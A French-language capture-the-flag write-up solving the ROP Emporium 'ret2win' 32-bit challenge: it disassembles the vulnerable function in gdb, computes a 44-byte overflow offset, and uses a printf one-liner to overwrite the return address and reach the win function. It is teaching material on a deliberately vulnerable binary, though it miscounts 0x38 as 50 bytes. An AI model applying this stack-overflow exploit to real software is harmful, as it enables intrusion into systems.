Ropemporium x86_32 ret2win
ret2win
Introduction.
Cette article démarre une série consacrée à la résolution des challenges ropemporium. Avec la version X86 donc 32 bits.
Pour rappel, l’execution de cette série nécessite l’installation des librairies 32 bits.
sudo apt install libc6-i386
Découverte.
Le programme a le même comportement que le programme x86_64.
ret2win# ./ret2win32
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Exiting
Analyse.
Indentification de l’offset de débordement
Regardons la fonction vulnérable.
gef➤ disas pwnme
Dump of assembler code for function pwnme:
0x080485ad <+0>: push ebp
0x080485ae <+1>: mov ebp,esp
0x080485b0 <+3>: sub esp,0x28
0x080485b3 <+6>: sub esp,0x4
0x080485b6 <+9>: push 0x20
0x080485b8 <+11>: push 0x0
0x080485ba <+13>: lea eax,[ebp-0x28]
0x080485bd <+16>: push eax
0x080485be <+17>: call 0x8048410 <memset@plt>
0x080485c3 <+22>: add esp,0x10
0x080485c6 <+25>: sub esp,0xc
0x080485c9 <+28>: push 0x8048708
0x080485ce <+33>: call 0x80483d0 <puts@plt>
0x080485d3 <+38>: add esp,0x10
0x080485d6 <+41>: sub esp,0xc
0x080485d9 <+44>: push 0x8048768
0x080485de <+49>: call 0x80483d0 <puts@plt>
0x080485e3 <+54>: add esp,0x10
0x080485e6 <+57>: sub esp,0xc
0x080485e9 <+60>: push 0x8048788
0x080485ee <+65>: call 0x80483d0 <puts@plt>
0x080485f3 <+70>: add esp,0x10
0x080485f6 <+73>: sub esp,0xc
0x080485f9 <+76>: push 0x80487e8
0x080485fe <+81>: call 0x80483c0 <printf@plt>
0x08048603 <+86>: add esp,0x10
0x08048606 <+89>: sub esp,0x4
0x08048609 <+92>: push 0x38
0x0804860b <+94>: lea eax,[ebp-0x28]
0x0804860e <+97>: push eax
0x0804860f <+98>: push 0x0
0x08048611 <+100>: call 0x80483b0 <read@plt>
0x08048616 <+105>: add esp,0x10
0x08048619 <+108>: sub esp,0xc
0x0804861c <+111>: push 0x80487eb
0x08048621 <+116>: call 0x80483d0 <puts@plt>
0x08048626 <+121>: add esp,0x10
0x08048629 <+124>: nop
0x0804862a <+125>: leave
0x0804862b <+126>: ret
End of assembler dump.
La lecture se fait dans la sequence suivante.
0x08048609 <+92>: push 0x38
0x0804860b <+94>: lea eax,[ebp-0x28]
0x0804860e <+97>: push eax
0x0804860f <+98>: push 0x0
0x08048611 <+100>: call 0x80483b0 <read@plt>
En x86, le passage de paramètre se fait exclusivement sur la pile. On a donc read(0, ebp-0x28, 0x38).
Le buffer des destination se trouve à $ebp - 40, on lit 50 (0x38) octets. EN 32 bits la taille de la sauvegarde su registe EBP est de 4 octets donc on doit avoir un offset de déborde ment de 44.
gef➤ b *pwnme+100
Breakpoint 1 at 0x8048611
gef➤ x/20xw $esp
0xffc80000: 0x00000000 0xffc80010 0x00000038 0x00000004
arg1 arg2 arg2 (size)
0xffc80010: 0x00000000 0x00000000 0x00000000 0x00000000
#buffer
0xffc80020: 0x00000000 0x00000000 0x00000000 0x00000000
0xffc80030: 0x080486f8 0x00000000 0xffc80048 0x08048590
SEBP SEIP
0xffc80040: 0x00000001 0xffc80060 0x00000000 0xf7d6b295
ni On evnvoie 44 caractères (avec le linefeed final) AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEE
gef➤ x/20xw $esp
0xff90ad40: 0x00000000 0xff90ad50 0x00000038 0x00000004
0xff90ad50: 0x41414141 0x41414141 0x42424141 0x42424242
0xff90ad60: 0x42424242 0x43434343 0x43434343 0x44444343
0xff90ad70: 0x44444444 0x44444444 0x0a454545 0x08048590
SEBP ecrasé SEIP encode intact
0xff90ad80: 0x00000001 0xff90ada0 0x00000000 0xf7d86295
On localise ret2win :
gef➤ p ret2win
$1 = {<text variable, no debug info>} 0x804862c <ret2win>
Exploitation
Nous pourvons obtenir le flag avec uns simple ligne de commande en bash :
prinf “%44s” A envoie le bourrage initial
Ensuite on ajoute l’adresse de ret2win inversée du fait de la convention de traitement de entier littledian des processeurs intel.
ret2win# printf "%44s\x2c\x86\x04\x08\x00" A |./ret2win32
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)